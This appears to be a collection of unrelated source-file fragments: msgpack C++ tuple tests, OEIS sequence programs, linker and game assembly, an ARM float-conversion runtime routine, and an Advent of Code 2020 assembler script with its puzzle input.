EXPECT_EQ(40, t1.get<0>());
EXPECT_FALSE(t1.get<1>());
EXPECT_EQ("DEFG", t1.get<2>());
}
TEST(msgpack_tuple, non_member_get)
{
msgpack::type::tuple<int, bool, std::string> t1(42, true, "ABC");
EXPECT_EQ(42, msgpack::type::get<0>(t1));
EXPECT_EQ(true, msgpack::type::get<1>(t1));
EXPECT_EQ("ABC", msgpack::type::get<2>(t1));
msgpack::type::get<0>(t1) = 40;
msgpack::type::get<1>(t1) = false;
msgpack::type::get<2>(t1) = "DEFG";
EXPECT_EQ(40, msgpack::type::get<0>(t1));
EXPECT_FALSE(msgpack::type::get<1>(t1));
EXPECT_EQ("DEFG", msgpack::type::get<2>(t1));
}
#if __cplusplus >= 201103L
TEST(msgpack_tuple, std_non_member_get)
{
msgpack::type::tuple<int, bool, std::string> t1(42, true, "ABC");
EXPECT_EQ(42, std::get<0>(t1));
EXPECT_EQ(true, std::get<1>(t1));
EXPECT_EQ("ABC", std::get<2>(t1));
std::get<0>(t1) = 40;
std::get<1>(t1) = false;
std::get<2>(t1) = "DEFG";
EXPECT_EQ(40, std::get<0>(t1));
EXPECT_FALSE(std::get<1>(t1));
EXPECT_EQ("DEFG", std::get<2>(t1));
}
TEST(msgpack_tuple, make_tuple)
{
msgpack::type::tuple<int, bool, std::string> t1 = msgpack::type::make_tuple(42, true, "ABC");
EXPECT_EQ(42, t1.get<0>());
EXPECT_EQ(true, t1.get<1>());
EXPECT_EQ("ABC", t1.get<2>());
t1.get<0>() = 40;
t1.get<1>() = false;
t1.get<2>() = "DEFG";
EXPECT_EQ(40, t1.get<0>());
EXPECT_FALSE(t1.get<1>());
EXPECT_EQ("DEFG", t1.get<2>());
}
TEST(msgpack_tuple, std_make_tuple)
{
msgpack::type::tuple<int, bool, std::string> t1 = std::make_tuple(42, true, "ABC");
EXPECT_EQ(42, t1.get<0>());
EXPECT_EQ(true, t1.get<1>());
EXPECT_EQ("ABC", t1.get<2>());
}
TEST(msgpack_tuple, tie)
{
int i(43);
bool b(false);
std::string s("DEFG");
msgpack::type::tie(i, b, s) = msgpack::type::make_tuple(42, true, "ABC");
EXPECT_EQ(42, i);
EXPECT_EQ(true, b);
EXPECT_EQ("ABC", s);
}
TEST(msgpack_tuple, tuple_cat)
{
msgpack::type::tuple<int> t1 = msgpack::type::make_tuple(42);
msgpack::type::tuple<bool, std::string> t2 = msgpack::type::make_tuple(true, "ABC");
msgpack::type::tuple<int, bool, std::string> t3 = msgpack::type::tuple_cat(t1, std::move(t2));
EXPECT_EQ(42, t3.get<0>());
EXPECT_EQ(true, t3.get<1>());
EXPECT_EQ("ABC", t3.get<2>());
}
TEST(msgpack_tuple, swap)
{
msgpack::type::tuple<int, bool, std::string> t1 = msgpack::type::make_tuple(42, true, "ABC");
msgpack::type::tuple<int, bool, std::string> t2 = msgpack::type::make_tuple(40, false, "DEFG");
msgpack::type::swap(t1, t2);
EXPECT_EQ(42, t2.get<0>());
EXPECT_EQ(true, t2.get<1>());
EXPECT_EQ("ABC", t2.get<2>());
EXPECT_EQ(40, t1.get<0>());
EXPECT_FALSE(t1.get<1>());
EXPECT_EQ("DEFG", t1.get<2>());
}
#endif
|
; A215695: a(n) = 5*a(n-1) - 6*a(n-2) + a(n-3) with a(0)=1, a(1)=0, a(2)=-2.
; Submitted by Christian Krause
; 1,0,-2,-9,-33,-113,-376,-1235,-4032,-13126,-42673,-138641,-450293,-1462292,-4748343,-15418256,-50063514,-162556377,-527819057,-1713820537,-5564744720,-18068619435,-58668449392,-190495275070,-618534298433,-2008368291137,-6521130940157,-21173979252396,-68751478912175,-223234649986656,-724838355712626,-2353535357555369,-7641881303487745,-24813032727819137,-80567411175724584,-261600740815195843,-849412269749450848,-2758024315031803766,-8955248697477509585,-29077509866946176177,-94414081464897627141
mov $3,1
lpb $0
sub $0,1
div $1,3
add $1,$3
sub $2,$4
add $2,$3
add $3,$2
add $4,$1
mov $1,1
add $3,$4
sub $3,3
lpe
mov $0,$3
|
; A016902: a(n) = (5*n + 4)^6.
; 4096,531441,7529536,47045881,191102976,594823321,1544804416,3518743761,7256313856,13841287201,24794911296,42180533641,68719476736,107918163081,164206490176,243087455521,351298031616,496981290961,689869781056,941480149401,1265319018496,1677100110841,2194972623936,2839760855281,3635215077376,4608273662721,5789336458816,7212549413161,8916100448256,10942526586601,13339032325696,16157819263041,19456426971136,23298085122481,27752076864576,32894113444921,38806720086016,45579633110361,53310208315456,62103840598801,72074394832896,83344647990241,96046742518336,110322650964681,126324651851776,144215816802121,164170508913216,186374892382561,211027453382656,238339532186001,268535866540096,301855146292441,338550579265536,378890468381881,423158800038976,471655843734321,524698762940416,582622237229761,645779095649856,714540961348201,789298907447296,870464124169641,958468597212736,1053765797374081,1156831381426176,1268163904241521,1388285542167616,1517742827651961,1657107395117056,1806976738085401,1967974977554496,2140753641621841,2325992456359936,2524400147941281,2736715256013376,2963706958323721,3206175906594816,3464955073649161,3740910611784256,4034942722397601,4347986536861696,4681013008649041,5035029816707136,5411082280083481,5810254283800576,6233669215980921,6682490916222016,7157924635221361,7661218005651456,8193662024284801,8756592045368896,9351388785251241,9979479338254336,10642338203800681,11341488324787776,12078502137213121,12855002631049216,13672664422368561,14533214836718656,15438435003747001
mul $0,5
add $0,4
pow $0,6
|
if fg_ai
AIEXP_OUT_INIT PROC
;
;OPEN EXE OR COM FILE FOR OUTPUT
;
CALL COMMON_OUT_INIT
CALL OPEN_OUTPUT
MOV _EXE_DEVICE,BX
XOR DX,DX
MOV EXEHDR_ADDR.LW,DX ;NEXT EXEHDR WRITE ADDRESS
MOV EXEHDR_ADDR.HW,DX
MOV AX,AI_SELECTOR_COUNT ;# OF AI SELECTORS
MOV AIEXPHEADER._AIEXP_SEGTBL_COUNT,AX
SHLI AX,3 ;#8
ADD AX,SIZE AIEXP
MOV AIEXPHEADER._AIEXP_IMAGE_BASE,AX
RET
AIEXP_OUT_INIT ENDP
endif
if fg_ai
PUBLIC AI_OUT_TABLE
AI_OUT_TABLE LABEL WORD
DW AIEXP_OUT_INIT
DW PROT_OUT_NEW_SEGMENT
DW EXE_OUT_NEW_SEGMOD
DW EXE_OUT_LDATA
DW AIEXP_OUT_RELOC_BASE
DW EXE_OUT_SEGMOD_FINISH
DW EXE_OUT_DATA_BLOCK
DW EXE_OUT_SEGMENT_FINISH
DW EXE_OUT_END_OF_SEGMENTS
DW PROT_FLUSH_SEGMENT
DW EXE_OUT_FLUSH_EXE
endif
|
; A163704: Number of n X 2 binary arrays with all 1s connected, a path of 1s from left column to lower right corner, and no 1 having more than two 1s adjacent.
; 1,5,11,21,38,66,112,187,309,507,828,1348,2190,3553,5759,9329,15106,24454,39580,64055,103657,167735,271416,439176,710618,1149821,1860467,3010317,4870814,7881162,12752008,20633203,33385245,54018483,87403764,141422284,228826086,370248409,599074535,969322985,1568397562,2537720590,4106118196,6643838831,10749957073,17393795951,28143753072,45537549072,73681302194,119218851317,192900153563,312119004933,505019158550,817138163538,1322157322144,2139295485739,3461452807941,5600748293739,9062201101740
lpb $0
mov $1,$0
cmp $0,0
seq $1,23548 ; Convolution of natural numbers >= 2 and Fibonacci numbers.
sub $1,1
lpe
add $1,1
mov $0,$1
|
; ---------------------------------------------------------------------------
; Sprite mappings - SLZ lava thrower
; ---------------------------------------------------------------------------
dc.w byte_8858-Map_obj1C
byte_8858: dc.b 1
dc.b $F0, 7, 0, 0, $F8
even |
db "BRUTAL@" ; species name
db "It can swim at"
next "speeds of 75 mph"
next "by jetting"
page "seawater through"
next "its body. It's the"
next "bandit of the sea.@"
|
;******************************************************************************
;* ULL_TOFS16.ASM - 16 BIT STATE - *
;* *
;* Copyright (c) 1996 Texas Instruments Incorporated *
;* http://www.ti.com/ *
;* *
;* Redistribution and use in source and binary forms, with or without *
;* modification, are permitted provided that the following conditions *
;* are met: *
;* *
;* Redistributions of source code must retain the above copyright *
;* notice, this list of conditions and the following disclaimer. *
;* *
;* Redistributions in binary form must reproduce the above copyright *
;* notice, this list of conditions and the following disclaimer in *
;* the documentation and/or other materials provided with the *
;* distribution. *
;* *
;* Neither the name of Texas Instruments Incorporated nor the names *
;* of its contributors may be used to endorse or promote products *
;* derived from this software without specific prior written *
;* permission. *
;* *
;* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS *
;* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT *
;* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR *
;* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT *
;* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, *
;* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT *
;* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, *
;* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY *
;* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT *
;* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE *
;* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. *
;* *
;******************************************************************************
;****************************************************************************
;* ULL$TOFS - CONVERT A 64 BIT UNSIGNED INTEGER TO AN IEEE 754 FORMAT
;* SINGLE PRECISION FLOATING POINT NUMBER
;****************************************************************************
;*
;* o INPUT OP IS IN R0:R1 (r1:r0 IF LITTLE ENDIAN)
;* o RESULT IS RETURNED IN R0
;* o THE VALUE IN R1 IS DESTROYED
;*
;* o ROUNDING MODE: ROUND TO NEAREST
;*
;****************************************************************************
;*
;* +--------------------------------------------------------------+
;* | SINGLE PRECISION FLOATING POINT FORMAT |
;* | |
;* | 31 30 23 22 0 |
;* | +-+--------+-----------------------+ |
;* | |S| E | M + |
;* | +-+--------+-----------------------+ |
;* | |
;* | <S> SIGN FIELD : 0 - POSITIVE VALUE |
;* | 1 - NEGATIVE VALUE |
;* | |
;* | <E> EXPONENT FIELD: 00 - ZERO IFF M == 0 |
;* | 01...FE - EXPONENT VALUE (127 BIAS) |
;* | FF - INFINITY |
;* | |
;* | <M> MANTISSA FIELD: FRACTIONAL MAGNITUDE WITH IMPLIED 1 |
;* +--------------------------------------------------------------+
;*
;****************************************************************************
.thumb
.if __TI_EABI_ASSEMBLER ; ASSIGN EXTERNAL NAMES BASED ON
.asg __aeabi_ul2f, __TI_ULL$TOFS ; RTS BEING BUILT
.else
.clink
.asg ULL$TOFS, __TI_ULL$TOFS
.endif
e0 .set r2
tmp .set r3
.if __TI_ARM9ABI_ASSEMBLER | __TI_EABI_ASSEMBLER
.thumbfunc __TI_ULL$TOFS
.endif
.global __TI_ULL$TOFS
__TI_ULL$TOFS: .asmfunc stack_usage(12)
.if __TI_ARM7ABI_ASSEMBLER | __TI_ARM9ABI_ASSEMBLER | !__TI_TMS470_V4__
PUSH {r2, r3, lr} ; SAVE CONTEXT
.else
PUSH {r2-r3}
.endif
; IN LITTLE ENDIAN MODE THE INPUT LONG LONG VALUE IS IN R1:R0. SWAP THE
; WORDS SO THAT WE HAVE THE LONG LONG VAULUE IN R0:R1.
.if .TMS470_LITTLE
MOVS tmp, r0 ;
MOVS r0, r1 ;
MOVS r1, tmp ;
.endif
MOVS e0, #0xBE ; SET THE EXPONENT FIELD
CMP r0, #0 ; IF ZERO, RETURN ZERO
BMI cont ;
BNE loop ;
CMP r1, #0 ;
BNE loop ;
.if __TI_ARM7ABI_ASSEMBLER | __TI_ARM9ABI_ASSEMBLER | !__TI_TMS470_V4__
POP {r2, r3, pc} ;
.else
POP {r2-r3}
BX lr
.endif
loop: SUBS e0, #1 ; NORMALIZE THE MANTISSA
LSLS r0, r0, #1 ; ADJUSTING THE EXPONENT, ACCORDINGLY
LSRS tmp, r1, #31 ;
ORRS r0, tmp ;
LSLS r1, r1, #1 ;
CMP r0, #0 ;
BPL loop ;
cont: ADDS r0, #0x80 ; ADD 1/2 TO ROUND
BCC $1 ;
ADDS e0, #0x1 ; AND ADJUST THE EXPONENT ACCORDINGLY
B $2 ;
$1: LSLS r0, r0, #1 ; MASK IMPLIED 1 OUT OF THE MANTISSA
$2: LSRS r0, r0, #9 ; PACK THE MANTISSA
LSLS e0, e0, #23 ;
ORRS r0, e0 ; PACK THE EXPONENT
.if __TI_ARM7ABI_ASSEMBLER | __TI_ARM9ABI_ASSEMBLER | !__TI_TMS470_V4__
POP {r2, r3, pc} ;
.else
POP {r2-r3}
BX lr
.endif
.endasmfunc
.end
|
; https://adventofcode.com/2020/day/16 (part 2)
OPT listoff : DEVICE ZXSPECTRUMNEXT : MMU 0 7, 0, $0000
; too lazy to write input file parser, so input is manually converted into script source
IF 0 ; 1 for test input run
;========================= test input ===============================
DEFINE N_IS_CLASS ((0 <= n && n <= 1) || (4 <= n && n <= 19))
DEFINE N_IS_ROW ((0 <= n && n <= 5) || (8 <= n && n <= 19))
DEFINE N_IS_SEAT ((0 <= n && n <= 13) || (16 <= n && n <= 19))
DEFARRAY N_IS_VALID N_IS_CLASS, N_IS_ROW, N_IS_SEAT
DEFARRAY FIELD_NAMES "CLASS", "ROW", "SEAT"
your_ticket:
DW 11,12,13
TICKET_FIELDS EQU ($ - your_ticket) >> 1
nearby_tickets:
DW 3,9,18
DW 15,1,5
DW 5,14,9
NEARBY_TICKETS_COUNT EQU ($ - nearby_tickets) / (TICKET_FIELDS<<1)
;========================= end of test input ========================
ELSE
;========================= task input ===============================
; steps to turn file rules into N_IS_* rules:
; 1) upper case everything (Ctrl+U in Kate text editor)
; 2) regex search&replace (Ctrl+R in Kate text editor, use options to select regex):
; find: (.*)\ (.*):
; replace: \1_\2:
; (replaces space in value name with underscore)
; 3) regex search&replace:
; find: (.*): (\d+)-(\d+) OR (\d+)-(\d+)
; replace: DEFINE N_IS_\1 ((\2 <= n && n <= \3) || (\4 <= n && n <= \5))
; (makes the rule as DEFINE in expected form of boolean evaluator)
; 4) copy the new block of DEFINE rules second time to create list for DEFARRAY:
; 5) regex search&replace:
; find: ^\s+DEFINE\ (\w+)\ .*\n
; replace: \1,
; 6) manually remove last comma and add " DEFARRAY N_IS_VALID " ahead
; 7) copy the resulting DEFARRAY into DEFARRAY FIELD_NAMES and do search&replace:
; find: N_IS_(\w+)
; replace: "\1"
; (turns N_IS_xxx into "xxx" for field names for DISPLAY directive)
; (steps to convert the ticket lines ... figure it out yourself, regex is handy skill!)
DEFINE N_IS_DEPARTURE_LOCATION ((41 <= n && n <= 598) || (605 <= n && n <= 974))
DEFINE N_IS_DEPARTURE_STATION ((30 <= n && n <= 617) || (625 <= n && n <= 957))
DEFINE N_IS_DEPARTURE_PLATFORM ((29 <= n && n <= 914) || (931 <= n && n <= 960))
DEFINE N_IS_DEPARTURE_TRACK ((39 <= n && n <= 734) || (756 <= n && n <= 972))
DEFINE N_IS_DEPARTURE_DATE ((37 <= n && n <= 894) || (915 <= n && n <= 956))
DEFINE N_IS_DEPARTURE_TIME ((48 <= n && n <= 54) || (70 <= n && n <= 955))
DEFINE N_IS_ARRIVAL_LOCATION ((39 <= n && n <= 469) || (491 <= n && n <= 955))
DEFINE N_IS_ARRIVAL_STATION ((47 <= n && n <= 269) || (282 <= n && n <= 949))
DEFINE N_IS_ARRIVAL_PLATFORM ((26 <= n && n <= 500) || (521 <= n && n <= 960))
DEFINE N_IS_ARRIVAL_TRACK ((26 <= n && n <= 681) || (703 <= n && n <= 953))
DEFINE N_IS_CLASS ((49 <= n && n <= 293) || (318 <= n && n <= 956))
DEFINE N_IS_DURATION ((25 <= n && n <= 861) || (873 <= n && n <= 973))
DEFINE N_IS_PRICE ((30 <= n && n <= 446) || (465 <= n && n <= 958))
DEFINE N_IS_ROUTE ((50 <= n && n <= 525) || (551 <= n && n <= 973))
DEFINE N_IS_ROW ((39 <= n && n <= 129) || (141 <= n && n <= 972))
DEFINE N_IS_SEAT ((37 <= n && n <= 566) || (573 <= n && n <= 953))
DEFINE N_IS_TRAIN ((43 <= n && n <= 330) || (356 <= n && n <= 969))
DEFINE N_IS_TYPE ((32 <= n && n <= 770) || (792 <= n && n <= 955))
DEFINE N_IS_WAGON ((47 <= n && n <= 435) || (446 <= n && n <= 961))
DEFINE N_IS_ZONE ((30 <= n && n <= 155) || (179 <= n && n <= 957))
DEFARRAY N_IS_VALID N_IS_DEPARTURE_LOCATION,N_IS_DEPARTURE_STATION,N_IS_DEPARTURE_PLATFORM,N_IS_DEPARTURE_TRACK,N_IS_DEPARTURE_DATE,N_IS_DEPARTURE_TIME,N_IS_ARRIVAL_LOCATION,N_IS_ARRIVAL_STATION,N_IS_ARRIVAL_PLATFORM,N_IS_ARRIVAL_TRACK,N_IS_CLASS,N_IS_DURATION,N_IS_PRICE,N_IS_ROUTE,N_IS_ROW,N_IS_SEAT,N_IS_TRAIN,N_IS_TYPE,N_IS_WAGON,N_IS_ZONE
DEFARRAY FIELD_NAMES "DEPARTURE_LOCATION","DEPARTURE_STATION","DEPARTURE_PLATFORM","DEPARTURE_TRACK","DEPARTURE_DATE","DEPARTURE_TIME","ARRIVAL_LOCATION","ARRIVAL_STATION","ARRIVAL_PLATFORM","ARRIVAL_TRACK","CLASS","DURATION","PRICE","ROUTE","ROW","SEAT","TRAIN","TYPE","WAGON","ZONE"
your_ticket:
DW 71,127,181,179,113,109,79,151,97,107,53,193,73,83,191,101,89,149,103,197
TICKET_FIELDS EQU ($ - your_ticket) >> 1
nearby_tickets:
DW 909,469,709,246,389,667,389,288,817,242,942,255,428,712,187,861,821,552,229,253
DW 373,887,919,576,884,946,794,434,376,843,327,658,587,232,796,228,671,878,947,559
DW 554,199,222,610,427,81,235,884,947,81,670,672,643,369,805,611,892,615,274,658
DW 261,378,571,124,111,153,801,196,830,759,257,189,361,382,942,889,613,493,496,320
DW 98,265,894,196,859,594,267,99,7,286,616,665,97,356,524,382,641,290,563,813
DW 947,259,423,939,155,608,282,150,890,147,140,323,808,284,466,725,214,799,96,86
DW 631,265,836,523,86,147,557,542,610,647,398,730,242,243,717,705,72,811,734,556
DW 746,577,386,713,646,127,433,399,243,218,949,225,933,244,827,726,189,625,358,859
DW 90,670,369,154,97,110,188,829,585,383,828,469,190,837,199,245,668,585,400,136
DW 221,855,756,92,86,207,414,395,183,731,591,239,114,798,212,609,708,252,594,602
DW 401,816,196,703,822,792,522,605,119,793,259,254,384,815,552,83,874,582,137,812
DW 186,677,891,259,730,424,653,655,397,947,689,107,363,711,182,415,757,667,70,860
DW 933,401,208,402,388,358,552,713,720,185,307,183,834,141,433,596,641,394,358,665
DW 193,239,553,809,250,466,801,124,776,200,430,376,143,580,367,51,764,576,824,390
DW 378,658,705,644,657,561,521,703,854,375,679,320,500,216,138,614,254,758,124,287
DW 70,808,469,189,323,847,393,833,830,234,883,188,229,830,853,986,673,641,83,406
DW 421,703,741,78,586,116,833,628,182,662,629,258,202,495,674,96,670,101,328,287
DW 608,821,634,155,117,661,103,781,84,756,770,321,119,362,816,681,879,878,759,420
DW 626,239,647,839,2,228,265,293,576,949,592,410,659,885,434,379,257,947,794,671
DW 666,252,811,370,328,54,716,241,874,757,50,495,652,75,933,935,144,1,143,101
DW 594,283,842,605,894,98,368,803,114,797,5,98,379,932,330,200,680,584,645,824
DW 492,290,76,579,100,762,856,812,148,617,183,833,380,757,52,293,68,875,366,873
DW 792,582,392,329,210,846,662,388,310,183,705,410,100,769,125,719,251,366,71,87
DW 558,669,801,80,881,497,981,112,582,597,97,804,652,938,671,842,617,287,708,422
DW 376,802,398,708,389,581,403,212,851,651,225,848,150,791,118,834,857,83,680,592
DW 358,803,629,933,416,944,226,706,795,5,936,129,467,849,253,829,179,734,228,244
DW 433,825,67,236,388,858,880,427,943,400,842,723,564,633,408,79,836,592,704,328
DW 366,402,988,892,469,941,829,90,876,662,879,556,200,590,86,733,229,768,421,409
DW 316,397,806,848,148,382,641,92,850,366,633,392,373,642,793,635,240,826,144,389
DW 318,647,154,382,597,672,321,238,220,88,674,472,402,521,121,769,326,795,890,221
DW 946,385,361,855,598,399,361,409,595,852,225,588,368,556,826,853,721,232,6,850
DW 847,323,626,254,719,938,122,656,806,578,88,556,229,894,579,105,554,266,152,342
DW 207,396,152,390,704,854,563,128,658,254,610,801,221,302,398,89,149,845,403,847
DW 793,180,225,427,723,721,793,811,212,380,270,817,180,770,359,196,415,494,229,383
DW 894,815,641,356,239,143,384,759,469,586,772,598,800,633,606,358,651,109,805,796
DW 551,102,940,715,831,560,399,599,591,250,816,246,587,852,382,416,284,636,585,420
DW 858,643,758,564,84,821,388,183,259,627,647,523,404,251,779,551,731,73,733,185
DW 647,948,663,241,837,219,687,522,521,796,122,756,418,876,887,942,795,74,762,244
DW 500,224,845,426,800,388,492,11,829,183,393,804,889,838,181,807,586,417,829,98
DW 77,936,231,116,211,874,385,572,357,248,825,374,833,236,384,769,764,855,71,794
DW 268,856,941,677,449,384,242,187,218,236,821,655,811,400,197,798,415,198,219,211
DW 664,183,420,189,400,846,584,611,82,204,585,263,614,498,608,278,425,680,612,707
DW 111,270,420,838,196,844,616,392,415,107,652,153,729,757,664,522,183,499,805,499
DW 651,467,949,825,628,798,149,876,245,765,936,653,292,523,640,247,403,389,230,507
DW 717,627,678,145,826,195,197,402,981,240,885,524,207,521,287,647,680,232,208,408
DW 108,648,823,724,267,212,625,644,363,222,880,894,230,397,560,138,217,384,888,933
DW 235,403,659,13,841,429,262,769,363,180,359,262,392,236,823,492,266,566,658,389
DW 429,771,609,126,288,382,415,93,420,252,804,282,879,588,805,384,231,830,379,263
DW 318,82,815,648,290,414,793,558,369,946,646,721,196,7,931,798,637,820,117,204
DW 673,265,664,850,556,627,194,50,84,431,403,895,705,597,820,76,893,628,360,129
DW 940,419,618,70,435,816,586,837,51,117,210,881,836,846,664,194,88,676,885,643
DW 96,104,646,363,700,676,246,859,362,607,643,97,817,521,831,491,612,214,375,875
DW 828,935,727,762,568,237,122,819,235,710,234,816,834,856,634,713,222,419,934,326
DW 636,107,591,594,264,879,850,658,825,148,606,659,223,629,70,806,224,606,914,179
DW 776,617,116,650,576,105,556,625,142,770,363,360,722,108,389,72,124,109,888,320
DW 678,587,498,841,54,712,200,271,631,368,265,766,330,830,97,816,587,798,242,369
DW 418,938,606,580,433,494,716,909,150,633,797,369,887,51,255,593,197,256,720,891
DW 873,239,817,522,71,575,800,117,935,891,640,668,579,255,887,152,771,393,807,817
DW 236,150,433,405,52,728,631,136,856,616,122,844,524,814,413,525,418,815,71,814
DW 89,392,497,939,655,669,403,880,697,226,887,860,525,667,796,666,109,105,561,401
DW 638,576,615,708,621,655,391,491,652,616,126,225,656,230,937,398,839,728,398,249
DW 238,392,798,235,667,493,119,149,827,715,98,112,800,200,51,398,125,260,13,465
DW 195,86,416,949,235,468,666,181,541,936,431,212,145,573,625,418,847,325,596,187
DW 230,724,371,256,733,205,101,715,403,126,675,883,730,519,767,885,151,875,893,650
DW 666,330,480,201,827,402,644,796,946,141,625,119,823,598,758,665,894,121,945,73
DW 255,989,840,121,806,86,193,264,611,812,84,813,560,793,664,323,108,707,627,375
DW 219,630,225,129,823,591,809,824,881,938,798,357,887,75,661,247,620,207,795,378
DW 454,635,500,426,98,942,617,126,647,230,122,887,637,269,375,391,290,125,129,231
DW 328,830,460,630,242,219,252,763,657,719,210,767,587,372,243,730,259,616,182,379
DW 525,576,118,596,101,221,75,320,804,617,206,763,637,762,575,858,594,703,603,826
DW 947,884,363,408,607,810,498,817,421,617,566,109,291,605,800,832,812,679,690,51
DW 84,823,636,139,521,242,947,639,880,263,559,248,211,655,816,801,573,78,713,207
DW 666,50,325,118,578,578,822,885,919,837,229,830,407,670,79,359,243,598,495,428
DW 848,86,673,946,239,803,209,401,882,105,144,90,324,227,629,207,87,851,650,976
DW 616,202,825,707,941,645,402,433,425,660,891,566,86,380,503,418,595,385,680,941
DW 815,264,268,874,54,839,84,74,10,944,803,143,422,411,760,812,833,186,672,557
DW 800,93,2,793,427,420,435,856,556,842,369,832,639,364,704,809,469,115,859,426
DW 884,381,725,841,249,321,105,588,845,579,219,513,255,431,651,584,825,252,370,936
DW 98,725,770,875,417,406,991,681,725,931,644,590,523,54,932,378,418,858,284,321
DW 330,415,503,521,598,209,384,761,669,426,241,879,499,576,190,88,218,380,811,102
DW 182,386,102,769,317,561,828,85,142,363,497,734,419,412,756,384,711,646,153,193
DW 233,609,141,615,731,239,768,402,359,575,984,861,681,677,213,560,412,674,560,264
DW 269,586,889,670,633,919,289,123,640,208,428,326,725,467,629,556,615,219,155,146
DW 222,801,987,415,325,283,721,657,947,941,850,847,559,146,641,679,81,73,794,206
DW 222,940,822,395,770,187,233,852,830,431,631,221,660,758,91,948,913,244,882,105
DW 256,766,364,586,148,892,260,122,710,659,80,387,631,407,701,129,213,236,76,393
DW 719,540,235,70,617,286,836,617,72,575,554,838,51,287,186,241,660,558,880,404
DW 244,844,374,727,255,579,891,195,681,575,645,581,936,552,369,79,134,367,196,324
DW 870,573,591,894,325,54,287,625,833,732,397,847,383,220,522,193,285,581,665,817
DW 724,667,582,100,677,412,318,19,108,292,632,412,734,155,635,761,939,583,223,650
DW 541,255,882,555,673,219,396,756,656,414,803,626,655,388,947,706,942,231,86,121
DW 330,662,885,220,405,886,107,114,192,356,667,222,884,368,921,837,607,937,848,495
DW 184,145,617,426,467,767,78,919,705,378,828,381,98,932,888,109,433,434,728,770
DW 234,730,230,122,155,196,384,683,667,420,805,327,249,670,886,239,947,761,91,716
DW 602,725,389,629,933,398,605,120,631,381,221,199,191,757,844,607,947,575,727,323
DW 681,52,777,184,321,768,213,104,76,667,372,826,721,80,665,880,187,195,759,834
DW 805,95,860,221,713,231,855,375,996,718,889,632,411,78,851,266,91,609,844,935
DW 579,111,185,792,648,325,265,121,716,551,411,124,655,648,324,106,503,215,662,939
DW 794,825,809,564,217,626,637,673,661,205,762,849,385,118,879,219,433,646,531,109
DW 792,873,760,194,240,773,363,573,564,609,78,289,812,432,390,556,206,402,802,251
DW 248,223,839,611,921,267,241,582,241,109,287,639,613,838,874,658,86,118,813,673
DW 127,758,940,561,837,212,114,841,129,289,662,497,371,293,591,758,269,1,228,182
DW 498,322,703,499,826,535,432,626,262,414,70,625,469,201,285,391,194,195,726,193
DW 221,734,399,556,731,820,497,752,127,818,606,845,680,941,221,105,469,383,730,405
DW 161,125,216,50,551,649,607,86,811,77,799,594,759,852,435,111,672,381,758,231
DW 393,78,200,360,828,125,122,208,122,803,837,450,590,242,938,629,83,809,214,51
DW 802,677,732,560,105,664,934,943,637,288,636,528,628,820,207,813,254,731,860,667
DW 214,630,434,561,710,726,808,88,851,797,647,673,126,113,0,647,727,415,365,266
DW 664,818,762,706,209,145,980,209,940,193,940,430,128,86,836,465,365,937,111,180
DW 795,551,84,838,367,387,609,732,837,369,720,129,468,695,665,805,573,835,97,85
DW 396,838,912,154,257,825,369,876,119,111,813,260,813,221,393,185,222,726,808,416
DW 560,762,189,84,563,237,434,706,660,820,124,589,652,824,996,147,612,641,521,369
DW 792,251,523,844,839,680,657,797,277,606,114,850,52,322,410,627,500,650,716,144
DW 598,301,154,606,414,403,385,365,888,122,647,877,102,861,145,659,861,525,593,197
DW 490,882,643,714,651,365,642,81,118,674,655,942,99,677,153,145,833,427,934,128
DW 855,185,536,426,642,826,422,403,931,829,385,641,432,858,238,285,466,640,831,818
DW 232,757,325,288,879,369,54,820,715,387,845,415,150,643,64,651,425,595,250,81
DW 836,397,399,670,392,758,674,111,395,497,876,849,799,328,100,306,883,555,222,491
DW 320,579,117,391,220,102,411,632,670,239,219,608,93,71,824,700,361,809,365,560
DW 838,113,198,851,410,628,254,117,766,734,145,618,467,948,237,840,761,75,375,231
DW 931,247,409,714,54,705,812,389,634,193,111,813,828,237,525,675,389,628,412,7
DW 567,766,198,219,878,598,705,847,933,656,649,239,730,709,318,607,153,216,810,588
DW 666,843,405,322,847,404,931,150,140,144,616,881,188,681,113,244,730,558,858,523
DW 857,656,226,231,580,940,842,618,663,579,611,551,876,850,565,389,406,284,521,144
DW 270,564,573,729,491,946,707,837,198,420,111,125,103,427,406,497,845,466,225,642
DW 520,631,552,832,380,590,813,716,290,605,711,231,551,629,214,323,383,91,574,254
DW 384,645,714,763,678,768,256,179,225,256,216,206,611,377,24,674,614,395,206,553
DW 429,762,122,894,591,716,244,638,882,129,252,421,795,144,281,413,560,558,256,94
DW 384,390,18,381,756,110,714,90,225,211,836,559,671,946,330,719,110,858,827,841
DW 692,329,575,589,892,396,116,124,709,645,720,366,209,224,717,616,255,629,234,845
DW 587,891,656,495,96,605,677,846,850,99,223,123,936,636,434,425,893,424,988,758
DW 613,734,99,611,200,792,580,630,881,247,815,363,829,874,360,425,673,799,941,691
DW 265,654,216,393,77,823,419,635,196,144,663,634,724,90,631,423,792,851,228,56
DW 245,426,127,525,711,727,411,814,944,713,77,823,523,225,839,498,224,275,84,468
DW 381,678,323,284,668,143,797,409,938,89,73,812,796,883,807,82,80,434,427,906
DW 89,804,653,653,112,633,221,184,98,416,610,102,106,253,538,814,424,417,554,327
DW 644,92,707,70,58,945,859,821,404,372,183,409,325,247,705,434,184,582,859,229
DW 203,810,875,841,732,795,823,22,497,610,260,661,499,376,880,666,236,594,426,593
DW 217,132,102,93,807,840,406,827,586,262,657,84,833,101,53,469,584,384,948,419
DW 184,430,932,362,404,845,809,247,881,204,50,404,725,854,908,793,203,833,372,797
DW 428,370,84,626,777,856,152,129,812,635,373,876,666,825,577,191,112,894,293,51
